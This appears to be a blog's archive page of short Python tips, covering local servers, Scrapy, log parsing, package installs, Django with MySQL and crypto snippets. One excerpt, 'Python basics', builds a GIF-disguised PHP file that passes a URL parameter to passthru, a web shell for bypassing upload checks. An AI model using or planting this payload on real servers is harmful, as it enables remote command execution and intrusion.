python

Run a local server and make it available remotely
Run a local server cd /path/to/your-project-folder # python2 python -m SimpleHTTPServer 8080 # python3 python3 -m http.server 8080 Open a browser and visit [...]
Scrapy
Scrapy: Scraping Web Sites with Python – Tutorial
Scrapy is a very powerful framework that enables you to crawl web pages and extract information you need. Installation pip install scrapy Start the project [...]
Access log
Access Log in Apache – Learn how to parse it
There are a couple of ways to parse Apache's access log. It's easiest to examine the file with goaccess or awk, but you can also use python!
Measure Performance of Python script
Best option from timeit import default_timer as timer start = timer() # ... end = timer() print(end - start) Simple one import time start = time.time() [...]
Jared Spool – Parsing web pages with jQuery and Python
Today we will parse the library of videos on the page https://aycl.uie.com/. Workflow Login to the page Reveal all links in seminars Use jQuery to get all [...]
Install PyCharm on Ubuntu
sudo add-apt-repository ppa:mystic-mirage/pycharm && sudo apt-get update && sudo apt-get install pycharm-community Source
youtube-dl
youtube-dl Video and Audio Download
YouTube-dl is a command-line program to download videos from YouTube.com and other video sites. We will look into it’s basic usage. Instalation sudo [...]
Django and MySql
Connect Django with MySQL database
Install MySQL Client From source Download the source file mysqlclient-1.3.10.tar.gz. at mysqlclient and untar it. tar xf mysqlclient-1.3.10.tar.gz Then go [...]
Sonic Pi
Sonic Pi Installation on Ubuntu
Sonic Pi sudo add-apt-repository ppa:sonic-pi/ppa sudo apt-get update sudo apt-get install sonic-pi
Pip3 for Pycharm
sudo apt install python3-pip
Django Girls Tutorial
Python install tkinter
#python2 sudo apt-get install python-tk # python3 sudo apt-get install python3-tk
Python graphs with matplotlib
Install with pip pip install matplotlib # or pip3 install matplotlib #or sudo apt-get build-dep python-matplotlib # or git clone [...]
Python basics
Add magic numbers to the beginning of the file fh = open('magic_numbers_gif.php','w') fh.write('\x47\x49\x46\x38' + '<?php passthru($_GET["cmd"]); [...]
Crypto
from Crypto.Cipher import AES from Crypto.Cipher import XOR from Crypto.Hash import SHA256 from Crypto.Hash import MD5 import base64 import os # SHA - [...]
Fast charlist
FAST_CHARLIST = ' etaonisrhldcupfmwybgvkqxjzETAONISRHLDCUPFMWYBGVKQXJZ,.!'